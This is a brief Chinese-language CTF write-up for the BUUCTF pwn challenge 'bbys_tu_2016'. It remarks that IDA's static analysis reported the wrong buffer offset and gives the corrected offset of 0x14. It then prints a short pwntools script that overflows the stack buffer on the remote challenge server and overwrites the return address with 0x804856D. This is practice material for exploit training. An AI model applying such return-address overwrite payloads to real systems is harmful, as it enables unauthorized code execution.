bbys_tu_2016

诶，这么简单的题还不能一次ac，易错点在于偏移ida的静态分析是错的


两个减一下
0x14

点击查看代码

from pwn import *
io=remote("node4.buuoj.cn",28869)
payload='a'*(0x14+0x4)+p32(0x804856D)
io.sendline(payload)
io.interactive()